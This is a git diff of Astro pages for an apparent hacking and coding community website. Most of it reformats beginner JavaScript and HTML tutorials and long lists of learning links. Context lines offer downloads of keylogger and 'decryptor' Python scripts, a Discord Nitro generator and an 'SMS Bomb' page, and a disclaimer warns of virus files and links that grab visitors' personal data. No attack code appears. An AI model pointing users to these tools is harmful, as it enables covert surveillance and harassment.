-            Text (strings) — <code>var a = "init"</code><br>
-            Operations — <code>var b = 1 + 2 + 3</code><br>
-            True or fase statements — <code>var c = true</code><br>
-            Constant numbers — <code>const PI = 3.14</code><br>
-            Objects — <code>var name = &lbrace;firstName&colon;"John", lastName&colon;”Doe"&rbrace;</code></p>
-            <p><b>Objects Example</b> <br>
-            <code>
-            var person = &lbrace;<br>
-            &nbsp;&nbsp;firstName&colon;"John",<br>
-            &nbsp;&nbsp;lastName&colon;"Doe",<br>
-            &nbsp;&nbsp;age&colon;20,<br>
-            &nbsp;&nbsp;nationality&colon;"American"<br>
-            &rbrace;;
-            </code></p>
-          </div>
-        </Fragment>
-      </Scrollspy>
+          <Fragment slot="scrollspy-content">
+            <div id="html-2">
+              <h3>Including JavaScript in an HTML Page</h3>
+              <p>
+<pre>
+<code>
+&lt;script type="text/javascript"&gt;
+//JS code goes here <br>
+&lt;/script&gt; 
+</code>
+</pre>
+              </p>
+            </div>
+              <div id="call-2">
+              <h3>Call an External JavaScript File</h3>
+<pre><code>&lt;script src="myscript.js"&gt;&lt;/script&gt;</code>
+            </div>
+            <div id="com-2">
+              <h3>Including Comments</h3>
+              <p>Single line comments - <code>// Comment</code> <br>
+              Multi-line comments - <code>/* comment here */</code></p>
+            </div>
+            <div id="var-2">
+              <h3>Variables</h3>
+              <p>
+              <code>var, const, let</code><br>
+              <code>var</code> — The most common variable. Can be reassigned but only accessed within a function. Variables defined with var move to the top when code is executed.<br>
+              <code>const</code> — Can not be reassigned and not accessible before they appear within the code.<br>
+              <code>let</code> — Similar to const, however, let variable can be reassigned but not re-declared.<br>
+              </p>
+            </div>
+            <div id="data-2">
+              <h3>Data Types</h3>
+              <p>Numbers — <code>var age = 23</code> <br>
+              Variables — <code>var x</code><br>
+              Text (strings) — <code>var a = "init"</code><br>
+              Operations — <code>var b = 1 + 2 + 3</code><br>
+              True or fase statements — <code>var c = true</code><br>
+              Constant numbers — <code>const PI = 3.14</code><br>
+              Objects — <code>var name = &lbrace;firstName&colon;"John", lastName&colon;”Doe"&rbrace;</code></p>
+              <p><b>Objects Example</b> <br>
+<pre>
+<code>
+var person = &lbrace;
+  firstName&colon;"John",
+  lastName&colon;"Doe",
+  age&colon;20,
+  nationality&colon;"American"
+&rbrace;;
+</code>
+</pre>
+              </p>
+            </div>
+          </Fragment>
+        </Scrollspy>
     </div>
     <hr> 
     <div id="html"> 
       <h2> HTML Basics </h2>
       <Scrollspy id="html-basics-list"
-      scrollcontent={[
-        { name: "Example Document", href: "#example-3" },
-        { name: "HTML Text", href: "#text-3" },
-        { name: "HTML Headings", href: "#head-3" },
-        { name: "HTML Links", href: "#links-3" },
-        { name: "HTML Images", href: "#img-3" },
-      ]};
+        scrollcontent={[
+          { name: "Example Document", href: "#example-3" },
+          { name: "HTML Text", href: "#text-3" },
+          { name: "HTML Headings", href: "#head-3" },
+          { name: "HTML Links", href: "#links-3" },
+          { name: "HTML Images", href: "#img-3" },
+        ]};
       >
         <Fragment slot="scrollspy-content">
           <div id="example-3">
-            <h4>Example Document</h4>
+            <h3>Example Document</h3>
             <p>
-              <code>
-                &lt;!DOCTYPE HTML&gt; <br>
-                &lt;html&gt; <br>
-                &lt;head&gt; <br>
-                &lt;/head&gt; <br>
-                &lt;body&gt; <br>
-                &lt;h1&gt; This is a heading &lt;/h1&gt;<br>
-                &lt;p&gt; This is text &lt;/p&gt;<br>
-                &lt;a href="https://example.com"&gt;This is a link&lt;/a&gt;<br>
-                &lt;img src="at.png" width="99.99% alt="Example Image"&gt; <br>
-                &lt;/body&gt; <br>
-                &lt;/html&gt; <br>
-              </code>
+<pre>
+<code>
+&lt;!DOCTYPE HTML&gt;
+&lt;html&gt;
+  &lt;head&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+    &lt;h1&gt; This is a heading &lt;/h1&gt;
+    &lt;p&gt; This is text &lt;/p&gt;
+    &lt;a href="https://example.com"&gt;This is a link&lt;/a&gt;
+    &lt;img src="at.png" width="99.99% alt="Example Image"&gt;
+  &lt;/body&gt;
+&lt;/html&gt;
+</code> 
+</pre>
             </p>
             <p>We got to first lay down the very first thing to know. The <code>&lt;!DOCTYPE html&gt;</code> tag represents the Document Type and helps some browsers display correctly with your website, must only be used once. Some elements do need a closing tag, like <code>&lt;/center&gt;</code>.</p>
             <p>The <code>&lt;head&gt;</code> tag is needed to represent the head of the website. The <code>&lt;body&gt;</code> tag is the same thing, but it's the body.</p>
           </div>
           <div id="text-3">
-            <h4>HTML Text</h4>
+            <h3>HTML Text</h3>
             <p>Some elements are meant to show text like <code>&lt;text&gt;</code>, and <code>&lt;p&gt;</code>.</p>
             <p><code>&lt;p&gt; This is text &lt;/p&gt;</code></p>
           </div>
           <div id="head-3">
-            <h4>HTML Headings</h4>
+            <h3>HTML Headings</h3>
             <p>The <code>&lt;h&gt;</code> tag has 6 different sizes, from <code>&lt;h1&gt;</code> to <code>&lt;h6&gt;</code>.</p>
             <p>1 is the hugest, to 6 is the smallest.</p>
             <p><code>&lt;h1&gt; This is a heading &lt;/h1&gt;</code></p>
           </div>
           <div id="link-3">
-            <h4>HTML Links</h4>
+            <h3>HTML Links</h3>
             <p>The <code>&lt;a&gt;</code> is a text element to represent links. Once clicked on the hyperlink, will redirect the user to a new link.</p>
             <p><code>&lt;a href="atproducts.tk"&gt;Example Website&lt;/a&gt;</code></p>
           </div>
           <div id="img-3">
-            <h4>HTML Images</h4>
+            <h3>HTML Images</h3>
             <p>The <code>&lt;img&gt;</code> tag is to show a image. The width or height description can be used by pixels or percentages by displays. The <code>alt</code> tag shows up when the image doesn't load or can't load, it shows the description.</p>
-            <p><code>&lt;img src="at.png" width="99.99% alt="Example Image"&gt;</code></p>
+            <pre><code>&lt;img src="at.png" width="99.99% alt="Example Image"&gt;</code></pre>
           </div>
         </Fragment>
       </Scrollspy>
@@ -333,7 +352,7 @@ import BackToTop from '../../components/BackToTop.astro';
       <p> Keystroke logging, often referred to as keylogging or keyboard capturing, is the action of recording the keys struck on a keyboard, typically covertly, so that a person using the keyboard is unaware that their actions are being monitored. Data can then be retrieved by the person operating the logging program. </p> 
       <br> <p> <a href="/media/files/keylogger.py" download="">Keylogger (Python | pynput)</a> by Nasus</p>
       <br>
-      <h4> CУБΞЯC's Recommendations </h4>
+      <h3> CУБΞЯC's Recommendations </h3>
       <p> 
         <a href="/media/files/AdvKeylogger.py" download="">Advanced Key Logger (Python)</a> 
         <a href="/media/files/Decryptor.py" download="">Decryptor (Python)</a> 
@@ -371,7 +390,7 @@ import BackToTop from '../../components/BackToTop.astro';
         <Fragment slot="accordion-content">
           <AccordionItem title="Nitro Generator" id="ngott" parent="other-accordion">
             <Fragment slot="accordion-item-content">
-              <h4> Disclaimer </h4>
+              <h3> Disclaimer </h3>
               <p> Note that an actual working key would take over a billion (10^6) years to find. </p>
               <br>
               <p> 
@@ -494,11 +513,12 @@ import BackToTop from '../../components/BackToTop.astro';
       </div>
       <p> Section by Nasus </p>
       <p> <a href="https://www.wireshark.org/#download">Wireshark</a> is a network protocol analyzer used to capture traffic. <br> <br>Putting your adapter in Monitor mode, or RFMON mode, allows a computer with a wireless network interface controller to monitor all traffic received on a wireless channel. Unlike promiscuous mode, which is also used for packet sniffing, monitor mode allows packets to be captured without having to associate with an access point<br> <br> Buy a WiFi Adapter that supports Monitor Mode.
-      The most recommended brand is Alla for WiFi Adapters.</p><h4> Tools </h4> <p class="mb-0">Alla Network AWUS036NH &amp; Alla Network 1000 mW AWUS036H.</p><br>
+      The most recommended brand is Alla for WiFi Adapters.</p><h3> Tools </h3> <p class="mb-0">Alla Network AWUS036NH &amp; Alla Network 1000 mW AWUS036H.</p><br>
       <p><a class="icon-link icon-link-hover" href="https://www.youtube.com/watch?v=zOYohNOnWp4">Tutorial<i class="bi bi-arrow-right h-100"></i></a></p>
     </div>         
   </main>
-<Footer author="Alex Toucan & Nasus" />
+  <Footer author="Alex Toucan & Nasus" />
+</div>
 <BackToTop />
 </div>
-<Scripts accordion="true"/>
+<Scripts highlight="true" accordion="true" scrollspy="true" />
diff --git a/src/pages/codinghome.astro b/src/pages/codinghome.astro
index e0e5d91a8..c5efcb6f7 100644
--- a/src/pages/codinghome.astro
+++ b/src/pages/codinghome.astro
@@ -11,1612 +11,1870 @@ import AccordionItem from '../components/accordion/AccordionItem.astro';
 import BackToTop from '../components/BackToTop.astro';
 ---
 
-<Head title="CodingHome" heroid="codinghome" icon="codinghome.webp" description="A Discord server full of coders!" keywords="Scripts, viruses, coding," author="Alex Toucan & CodingLive" />
+<Head highlight="true" title="CodingHome" heroid="codinghome" icon="codinghome.webp" description="CodingHome is a coding and web development community where tech enthusiasts of all skill levels can come together." keywords="Scripts, viruses, coding," author="Alex Toucan & CodingLive" />
 <div id="page">
-  <Navbar />
-  <Hero id="codinghome" title="CodingHome" description="CodingHome is a coding and web development community where tech enthusiasts of all skill levels can come together." imageSrc="/media/images/codinghome.webp" imageWidth="15%" minImageWidth="150px" imageClasses="me-md-3 rounded-2"
-    icons={[
-      { icon: "discord", desc: "Discord Server Invite", href: "https://discord.gg/pgGfhDVrmS" },
-      { icon: "bullseye", desc: "ProtDos", href: "https://protdos.com/" },
-      { icon: "github", desc: "GitHub", href: "https://github.com/protdos" },
-      { icon: "envelope-fill", desc: "ProtDos's Email", href: "mailto:contact@protdos.com" },
-    ]},
-    buttons={[
-      { href: "https://discord.gg/pgGfhDVrmS", text: "Discord Server Invite", type: "primary" },
-      { href: "/sms", text: "SMS Bomb", type: "secondary" },
-      { href: "/backup/codinghome", text: "View the all laid out format", type: "secondary" },
-    ]},
-  />  
-  <main id="codinghome" class="text-center container">
-    <div id="disclaimer">
-      <h2> Disclaimer </h2>
-      <p> We do not take responsibility for any damage or legal issues with these files here at AT Products LLC, and the other communities at the Ethical Hacking Society, The Script Community, CodingHome, or the Noodle Hackerspace. <br>
-        <br> Use a virtual machine if it's a computer virus; never open it on your physical machine. As a precaution, download them on your VM. <br>
-        <br> If it's an APK file, use an emulator. <br>
-        <br>
-        <a href="https://www.vmware.com/topics/glossary/content/virtual-machine" target="_blank" rel="noopener noreferrer">More information on Virtual Machines (VM) </a>
-        <br>
-        <a href="https://developer.android.com/studio/run/emulator" target="_blank" rel="noopener noreferrer">More information on APK Emulators</a>
-        <br>
-        <br> Within the contents of this page, you'll find an <a class="link-warning" href="javascript:void(0)">orange/yellow link</a> and a <a class="link-danger" href="javascript:void(0)">dark red link</a>. An <a class="link-warning" href="javascript:void(0)">orange/yellow link</a> directs to pages in languages other than English, while a <a class="link-danger" href="javascript:void(0)">dark red link</a> might lead to a page that grabs your personal information upon visit, potentially displaying it publicly on-screen (please proceed with caution).
-      </p>
-    </div>
-    <hr>
-    <div id="resources">
-      <h2> Resources </h2>
-      <p> What do you want to know about today? </p>
-      <Modal title="Resources" id="resources-alt">
-        <Fragment slot="modal-content">
-          <div class="d-grid gap-2 my-2 text-center">
-            <div class="d-flex flex-wrap row-cols-3 rounded-2 overflow-hidden text-white">
-              <b class="col-12 py-2 bg-secondary">Contributors</b>
-              <div class="col py-2 bg-secondary">#1</div>
-              <div class="col py-2 bg-secondary">#2</div>
-              <div class="col py-2 bg-secondary">#3</div>
-              <a href="https://github.com/Savageboitim13" class="btn btn-primary rounded-0 py-2 col">venenjean</a>
-              <a href="https://zoezo.dev" class="btn btn-primary rounded-0 py-2 col">Zoezo</a>
-              <a href="https://tryhackme.com/p/social" class="btn btn-primary rounded-0 py-2 col">Social</a>
-            </div>
-            <div class="d-flex mt-2 flex-wrap row-cols-3 rounded-2 overflow-hidden text-white">
-              <b class="col-12 py-2 bg-secondary align-middle">Additional Sources</b>
-              <a href="https://discord.gg/pYa87Bhau9" class="btn btn-primary rounded-0 py-2 col-lg col-12 align-middle">International Developers Inc.</a>
-              <a href="https://discord.com/invite/ring-zer0-827712340954578954" class="btn btn-primary rounded-0 py-2 col-lg col-12 align-middle">Ring Zer0</a>
+  <Navbar /> 
+  <div id="main-content">
+    <Hero id="codinghome" title="CodingHome" description="CodingHome is a coding and web development community where tech enthusiasts of all skill levels can come together." imageSrc="/media/images/codinghome.webp" imageWidth="15%" minImageWidth="150px" imageClasses="me-md-3 rounded-2" container="true"
+      icons={[
+        { icon: "discord", desc: "Discord Server Invite", href: "https://discord.gg/pgGfhDVrmS" },
+        { icon: "bullseye", desc: "ProtDos", href: "https://protdos.com/" },
+        { icon: "github", desc: "GitHub", href: "https://github.com/protdos" },
+        { icon: "envelope-fill", desc: "ProtDos's Email", href: "mailto:contact@protdos.com" },
+      ]},
+      buttons={[
+        { href: "https://discord.gg/pgGfhDVrmS", text: "Discord Server Invite", type: "primary" },
+        { href: "/sms", text: "SMS Bomb", type: "secondary" },
+        { href: "/backup/codinghome", text: "View the all laid out format", type: "secondary" },
+      ]},
+    />  
+    <main id="codinghome" class="text-center container">
+      <div id="disclaimer">
+        <h2> Disclaimer </h2>
+        <p> We do not take responsibility for any damage or legal issues with these files here at AT Products LLC, and the other communities at the Ethical Hacking Society, The Script Community, CodingHome, or the Noodle Hackerspace. <br>
+          <br> Use a virtual machine if it's a computer virus; never open it on your physical machine. As a precaution, download them on your VM. <br>
+          <br> If it's an APK file, use an emulator. <br>
+          <br>
+          <a href="https://www.vmware.com/topics/glossary/content/virtual-machine" target="_blank" rel="noopener noreferrer">More information on Virtual Machines (VM) </a>
+          <br>
+          <a href="https://developer.android.com/studio/run/emulator" target="_blank" rel="noopener noreferrer">More information on APK Emulators</a>
+        </p>
+      </div>
+      <hr>
+      <div id="resources">
+        <h2> Resources </h2>
+        <p> What do you want to know about today? </p>
+        <Modal title="Resources" id="resources-alt">
+          <Fragment slot="modal-content">
+            <div class="d-grid gap-2 my-2 text-center">
+              <div class="d-flex flex-wrap row-cols-3 rounded-2 overflow-hidden text-white">
+                <b class="col-12 py-2 bg-secondary">Contributors</b>
+                <div class="col py-2 bg-secondary">#1</div>
+                <div class="col py-2 bg-secondary">#2</div>
+                <div class="col py-2 bg-secondary">#3</div>
+                <a href="https://github.com/Savageboitim13" class="btn btn-primary rounded-0 py-2 col">venenjean</a>
+                <a href="https://zoezo.dev" class="btn btn-primary rounded-0 py-2 col">Zoezo</a>
+                <a href="https://tryhackme.com/p/social" class="btn btn-primary rounded-0 py-2 col">Social</a>
+              </div>
+              <div class="d-flex mt-2 flex-wrap row-cols-3 rounded-2 overflow-hidden text-white">
+                <b class="col-12 py-2 bg-secondary align-middle">Additional Sources</b>
+                <a href="https://discord.gg/pYa87Bhau9" class="btn btn-primary rounded-0 py-2 col-lg col-12 align-middle">Royal Stack Alliance</a>
+                <a href="https://discord.com/invite/ring-zer0-827712340954578954" class="btn btn-primary rounded-0 py-2 col-lg col-12 align-middle">Ring Zer0</a>
+              </div>
             </div>
-          </div>
-          <figure class="figure mt-2 mb-0">
-            <img src="/media/files/400px-QR_Code_Structure_Example_3.svg.png" alt="QR Code" width="100%" class="bg-white rounded-1 p-1" style="max-width: 375px;">
-            <figcaption class="figure-caption mt-2">QR Code System Image</figcaption>
-          </figure>
-          <p class="my-3">Please note that if a link is a <a href="javascript:void(0)" class="link-warning">warning link</a>, the resource is not in the primary language here of English and is instead German. </p>
-          <Accordion parent="resourcesAccordion">
-            <Fragment slot="accordion-content">
-              <AccordionItem title="Learning Resources" id="learningresources" parent="resourcesAccordion">
-                <Fragment slot="accordion-item-content">
-                  <h4>Learning Resources</h4>
-                  <p>
-                    <a href="https://w3schools.com/">W3Schools</a>
-                    <a href="https://www.tutorialsteacher.com/">TutorialsTeacher</a>
-                    <a href="https://stackexchange.com/">StackExchange</a>
-                    <a href="https://www.stackoverflow.com/">StackOverflow</a>
-                    <a href="https://chat.openai.com/chat">ChatGPT</a>
-                    <a href="https://developer.mozilla.org/">MDN Web Docs</a>
-                    <a href="https://www.codecademy.com/">CodeAcademy</a>
-                    <a href="https://www.freecodecamp.org/">FreeCodeCamp</a>
-                    <a href="https://devdocs.io/">DevDocs</a>
-                    <a href="https://github.com/google/styleguide">Google's Style Guide</a>
-                    <a href="https://leetcode.com/">Leetcode</a>
-                    <a href="https://imposterdevs.com/">Imposter Devs</a>
-                    <a href="https://www.edx.org/learn">EDX Courses</a>
-                    <a href="https://www.sporcle.com/games/moogles/programlanguages">Programming Quiz</a>
-                    <a href="https://progle.net/">progle()</a>
-                    <a href="https://roadmap.sh/">Roadmaps for Languages</a>
-                    <a href="https://www.youtube.com/watch?v=rYnbspEcKJw">Organizing Code</a>
-                    <a href="https://github.com/codecrafters-io/build-your-own-x">Build your own X</a>
-                    <a href="https://github.com/donnemartin/system-design-primer">System Design Primer</a>
-                    <a href="https://github.com/trimstray/the-book-of-secret-knowledge">Book of Secret Knowledge</a>
-                    <a href="https://github.com/practical-tutorials/project-based-learning">Project Based Learning</a>
-                    <a href="https://www.digitalocean.com/community/tutorials">Digital Ocean - Community Resources</a>
-                    <a href="https://learn.microsoft.com/en-us/docs/">Microsoft's Documentation</a>
-                    <a href="https://markdownguide.org">Markdown Documentation</a>
-                    <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide">Mozilla JS Tutorials</a>
-                    <a href="https://devhints.io/lua">Lua Cheatsheet</a>
-                    <a href="https://typehero.dev/explore">Learn TypeScript</a>
-                    <a href="https://javascript.info/">Modern JavaScript Tutorial</a>
-                    <a href="https://github.com/donnemartin/system-design-primer">Learn System Design</a>
-                    <a href="https://en.wikibooks.org/">WikiBooks</a>
-                    <a href="https://university.webflow.com/">Webflow University</a>
-                    <a href="https://youtube.com/playlist?list=PLr3d3QYzkw2xabQRUpcZ_IBk9W50M9pe-&si=EYMJrwqxIqlYXCZw">Learning PHP The Right Way</a>
-                    <a href="https://caniuse.com/">CanIUse?</a>
-                    <a href="https://refactoring.guru/">Refactoring Guru</a>
-                    <a href="https://wiki.archlinux.org/title/Pacman/Tips_and_tricks#Removing_unused_packages_(orphans))">Pacman Tips and Tricks (Arch)</a>
-                    <a href="https://averagelinuxuser.com/clean-arch-linux/#1-clean-package-cache">Arch Linux Clean Instructions</a>
-                    <a href="https://tldp.org/HOWTO/Bash-Prompt-HOWTO/index.html">How to Bash</a>
-                    <a href="https://www.youtube.com/watch?v=IHy57Lrzkb4">The Pro Tutorials you've never seen if you use Blender</a>
-                    <a href="https://youtu.be/3wsVLG-dxg8?si=tKSH_9fla-15defj">Cursor AI -  Software Devs are Cooked</a>
-                    <a href="https://sadh.life/post/ast/">Tushar's Learning Blog</a>
-                    <a href="https://opendir.cloud/">OpenDir (Resource Cloud)</a>
-                    <a href="https://pikuma.com/blog/isometric-projection-in-games">Isometric Project in Games</a>
-                    <a href="https://youtu.be/NmM9HA2MQGI">How to do Secret Key Exchange</a>
-                    <a href="https://www.youtube.com/watch?v=7mdc-lRrW1c">Series and Parallel Circuits</a>
-                    <a href="https://youtube.com/shorts/nZuWCo52wTg?si=k3P9AgZfFjkslhvz">Architectural Patterns</a>
-                    <a href="https://www.youtube.com/watch?v=2qlcY9LkFik">Software Planning and Technical Documentation</a>
-                    <a href="https://www.youtube.com/watch?v=9ElrcTtAxzA">The Secret Science of Perfect Spacing Part 1</a>
-                    <a href="https://www.youtube.com/watch?v=r1DANFZYJDw">The Secret Science of Perfect Spacing Part 2</a>
-                    <a href="https://evilmartians.com/chronicles/how-to-favicon-in-2021-six-files-that-fit-most-needs">How to Favicon</a>
-                  </p>
-                  <Accordion parent="learningresourcesAccordion">
-                    <Fragment slot="accordion-content">
-                      <AccordionItem title="Python Resources" id="pythonresources" parent="learningresourcesAccordion">
-                        <Fragment slot="accordion-item-content">
-                          <h5>Python Resources</h5>
-                          <p>
-                            <a href="https://www.w3schools.com/python/">W3Schools Python Resources</a>
-                            <a href="https://runestone.academy/ns/books/published/pythonds3/index.html">Problem Solving with Algorithms and Data Structures using Python</a>
-                            <a href="https://code-maven.com/catch-control-c-in-python">Signal handling: Catch Ctrl-C in Python</a>
-                            <a href="https://www.youtube.com/watch?v=-zsV0_QrfTw">__new__ vs __init__ in Python</a>
-                            <a href="https://www.programiz.com/python-programming/user-defined-exception">Python Custom Exceptions</a>
-                            <a href="https://blog.miguelgrinberg.com/post/the-ultimate-guide-to-python-decorators-part-i-function-registration">The Ultimate Guide to Python Decorators, Part I: Function Registration</a>
-                            <a href="https://youtu.be/vRhPOE2uTGA">Port Scanning Tool w/ Python</a>
-                            <a href="https://www.youtube.com/watch?v=-29xf_deQQus">40 Python Libraries Explained</a>
-                            <a href="https://github.com/extremecoders-re/nuitka-extractor">Nuitka Extractor</a>
-                            <a href="https://github.com/idapython/src">IDAPython Plugin</a>
-                          </p>
-                        </Fragment>
-                      </AccordionItem>
-                      <AccordionItem title="Haskell Resources" id="haskellresources" parent="learningresourcesAccordion">
-                        <Fragment slot="accordion-item-content">
-                          <h5>Haskell Resources</h5>
-                          <p>
-                            <a href="https://www.haskell.org/">Haskell Documentation</a>
-                            <a href="https://wiki.haskell.org/">Haskell Wiki</a>
-                            <a href="https://hoogle.haskell.org/">Haskell Packages</a>
-                            <a href="https://hackage.haskell.org/">Learning about Haskell Packages</a>
-                            <a href="https://mmhaskell.com/">Monday Morning Haskell</a>
-                            <a href="http://learnyouahaskell.com/">LearnYouAHaskell</a>
-                            <a href="https://devtut.github.io/haskell">DevTut Haskell Tutorials</a>
-                            <a href="https://youtu.be/Vgu82wiiZ90?list=PLe7Ei6viL6jGp1Rfu0dil1JH1SHk9bgDV">Haskell Basics</a>
-                          </p>
-                        </Fragment>
-                      </AccordionItem>
-                      <AccordionItem title="C / C++ Resources" id="cppresources" parent="learningresourcesAccordion">
-                        <Fragment slot="accordion-item-content">
-                          <h5>C Resources</h5>
-                          <p>
-                            <a href="https://www.w3schools.com/c/index.php">W3Schools C Tutorials</a>
-                            <a href="https://www.learnc.org">LearnC.org</a>
-                            <a href="https://www.learnc.net">LearnC.net
-                          </p>
-                          <h5>C++ Resources</h5>
-                          <p>
-                            <a href="https://www.w3schools.com/cpp/default.asp">W3Schools C++ Tutorials</a>
-                            <a href="https://www.learncpp.com/">learncpp</a>
-                          </p>
-                        </Fragment>
-                      </AccordionItem>
-                      <AccordionItem title="C# Resources" id="csharpresources" parent="learningresourcesAccordion">
-                        <Fragment slot="accordion-item-content">
-                          <h5>C# Resources</h5>
-                          <p>
-                            <a href="https://learn.microsoft.com/en-us/dotnet/csharp">C# / dotnetDocumentation</a>
-                            <a href="https://www.c-sharpcorner.com/">C# Corner</a>
-                            <a href="https://www.c-sharpcorner.com/csharp-tutorials">C# Corner - Tutorials</a>
-                            <a href="https://www.tutorialsteacher.com/csharp/">C# TutorialsTeacher</a>
-                            <a href="https://sharplab.io">C# Compiler Playground</a>
-                            <a href="https://learn.microsoft.com/en-us/dotnet/api/system.configuration.configurationmanager?view=windowsdesktop-7.0">ConfigurationManager C#</a>
-                            <a href="https://auth0.com/blog/introduction-to-async-programming-in-csharp/">Async I/O in C#</a>
-                            <a href="https://www.youtube.com/watch?v=z4SB5BkQX7M">Making IDs safer in C#</a>
-                            <a href="https://www.youtube.com/watch?v=sGwfwtkaDfk">Testing Tests (C#)</a>
-                            <a href="https://stryker-mutator.io/docs/stryker-net/getting-started/">Mutational Testing</a>
-                          </p>
-                          <h5>C# Hashing with Salt and Pepper</h5>
-                          <p>
-                            <a href="https://www.vb-paradise.de/index.php/Thread/133457-Sha256-hashing-von-Userdaten-Name-Pwd-inkl-Salt-und-Pepper-Hab-ich-das-korrekt-u/" class="link-warning">Source (German)</a>
-                          </p>
-                          <p> There are outdated files on the source, if you need to, use the updated files of the <a href="/media/files/csharpsaltpepper.1.cs">first code block</a> and the <a href="/media/files/csharpsaltpepper.2.cs">second code block</a>. </p>
-                          <h5>Inversion of Control Series</h5>
-                          <p>
-                            <a href="https://dotnettutorials.net/lesson/introduction-to-inversion-of-control/">Introduction</a>
+            <figure class="figure mt-2 mb-0">
+              <img src="/media/files/400px-QR_Code_Structure_Example_3.svg.png" alt="QR Code" width="100%" class="bg-white rounded-1 p-1" style="max-width: 375px;">
+              <figcaption class="figure-caption mt-2">QR Code System Image</figcaption>
+            </figure>
+            <p class="my-3">Please note that if a link is a <a href="javascript:void(0)" class="link-warning">warning link</a>, the resource is not in the primary language here of English and is instead German. </p>
+            <Accordion parent="resourcesAccordion">
+              <Fragment slot="accordion-content">
+                <AccordionItem title="Learning Resources" id="learningresources" parent="resourcesAccordion">
+                  <Fragment slot="accordion-item-content">
+                    <h3>Learning Resources</h3>
+                    <p>
+                      <a href="https://w3schools.com/">W3Schools</a><br>
+                      <a href="https://www.tutorialsteacher.com/">TutorialsTeacher</a><br>
+                      <a href="https://stackexchange.com/">StackExchange</a><br>
+                      <a href="https://www.stackoverflow.com/">StackOverflow</a><br>
+                      <a href="https://chat.openai.com/chat">ChatGPT</a><br>
+                      <a href="https://www.codecademy.com/">CodeAcademy</a><br>
+                      <a href="https://www.freecodecamp.org/">FreeCodeCamp</a><br>
+                      <a href="https://devdocs.io/">DevDocs</a><br>
+                      <a href="https://leetcode.com/">Leetcode</a><br>
+                      <a href="https://imposterdevs.com/">Imposter Devs</a><br>
+                      <a href="https://www.edx.org/learn">EDX Courses</a><br>
+                      <a href="https://books.goalkicker.com/">GoalKicker Programming Books</a><br>
+                      <a href="https://www.sporcle.com/games/moogles/programlanguages">Programming Quiz</a><br>
+                      <a href="https://progle.net/">progle()</a><br>
+                      <a href="https://roadmap.sh/">Roadmaps for Languages</a><br>
+                      <a href="https://www.youtube.com/watch?v=rYnbspEcKJw">Organizing Code</a><br>
+                      <a href="https://github.com/codecrafters-io/build-your-own-x">Build your own X</a><br>
+                      <a href="https://github.com/donnemartin/system-design-primer">System Design Primer</a><br>
+                      <a href="https://github.com/trimstray/the-book-of-secret-knowledge">Book of Secret Knowledge</a><br>
+                      <a href="https://github.com/practical-tutorials/project-based-learning">Project Based Learning</a><br>
+                      <a href="https://www.digitalocean.com/community/tutorials">Digital Ocean - Community Resources</a><br>
+                      <a href="https://learn.microsoft.com/en-us/docs/">Microsoft's Documentation</a><br>
+                      <a href="https://github.com/donnemartin/system-design-primer">Learn System Design</a><br>
+                      <a href="https://en.wikibooks.org/">WikiBooks</a><br>
+                      <a href="https://youtube.com/playlist?list=PLr3d3QYzkw2xabQRUpcZ_IBk9W50M9pe-&si=EYMJrwqxIqlYXCZw">Learning PHP The Right Way</a><br>
+                      <a href="https://caniuse.com/">CanIUse?</a><br>
+                      <a href="https://refactoring.guru/">Refactoring Guru</a><br>
+                      <a href="https://sourcemaking.com/">Source Making</a><br>
+                      <a href="https://youtu.be/3wsVLG-dxg8?si=tKSH_9fla-15defj">Cursor AI -  Software Devs are Cooked</a><br>
+                      <a href="https://sadh.life/post/ast/">Tushar's Learning Blog</a><br>
+                      <a href="https://opendir.cloud/">OpenDir (Resource Cloud)</a><br>
+                      <a href="https://pikuma.com/blog/isometric-projection-in-games">Isometric Project in Games</a><br>
+                      <a href="https://youtu.be/NmM9HA2MQGI">How to do Secret Key Exchange</a><br>
+                      <a href="https://www.youtube.com/watch?v=7mdc-lRrW1c">Series and Parallel Circuits</a><br>
+                      <a href="https://youtube.com/shorts/nZuWCo52wTg?si=k3P9AgZfFjkslhvz">Architectural Patterns</a><br>
+                      <a href="https://www.youtube.com/watch?v=2qlcY9LkFik">Software Planning and Technical Documentation</a><br>
+                    </p>
+                    <Accordion parent="learningresourcesAccordion">
+                      <Fragment slot="accordion-content">
+                        <AccordionItem title="Python Resources" id="pythonresources" parent="learningresourcesAccordion">
+                          <Fragment slot="accordion-item-content">
+                            <h4>Python Resources</h4>
+                            <p>
+                              <a href="https://www.w3schools.com/python/">W3Schools Python Resources</a><br>
+                              <a href="https://runestone.academy/ns/books/published/pythonds3/index.html">Problem Solving with Algorithms and Data Structures using Python</a><br>
+                              <a href="https://code-maven.com/catch-control-c-in-python">Signal handling: Catch Ctrl-C in Python</a><br>
+                              <a href="https://www.youtube.com/watch?v=-zsV0_QrfTw">__new__ vs __init__ in Python</a><br>
+                              <a href="https://www.programiz.com/python-programming/user-defined-exception">Python Custom Exceptions</a><br>
+                              <a href="https://blog.miguelgrinberg.com/post/the-ultimate-guide-to-python-decorators-part-i-function-registration">The Ultimate Guide to Python Decorators, Part I: Function Registration</a><br>
+                              <a href="https://youtu.be/vRhPOE2uTGA">Port Scanning Tool w/ Python</a><br>
+                              <a href="https://www.youtube.com/watch?v=-29xf_deQQus">40 Python Libraries Explained</a><br>
+                              <a href="https://github.com/extremecoders-re/nuitka-extractor">Nuitka Extractor</a><br>
+                              <a href="https://github.com/idapython/src">IDAPython Plugin</a><br>
+                            </p>
+                          </Fragment>
+                        </AccordionItem>
+                        <AccordionItem title="Haskell Resources" id="haskellresources" parent="learningresourcesAccordion">
+                          <Fragment slot="accordion-item-content">
+                            <h4>Haskell Resources</h4>
+                            <p>
+                              <a href="https://www.haskell.org/">Haskell Documentation</a><br>
+                              <a href="https://wiki.haskell.org/">Haskell Wiki</a><br>
+                              <a href="https://hoogle.haskell.org/">Haskell Packages</a><br>
+                              <a href="https://hackage.haskell.org/">Learning about Haskell Packages</a><br>
+                              <a href="https://mmhaskell.com/">Monday Morning Haskell</a><br>
+                              <a href="http://learnyouahaskell.com/">LearnYouAHaskell</a><br>
+                              <a href="https://devtut.github.io/haskell">DevTut Haskell Tutorials</a><br>
+                              <a href="https://youtu.be/Vgu82wiiZ90?list=PLe7Ei6viL6jGp1Rfu0dil1JH1SHk9bgDV">Haskell Basics</a>
+                            </p>
+                          </Fragment>
+                        </AccordionItem>
+                        <AccordionItem title="C / C++ Resources" id="cppresources" parent="learningresourcesAccordion">
+                          <Fragment slot="accordion-item-content">
+                            <h4>C Resources</h4>
+                            <p>
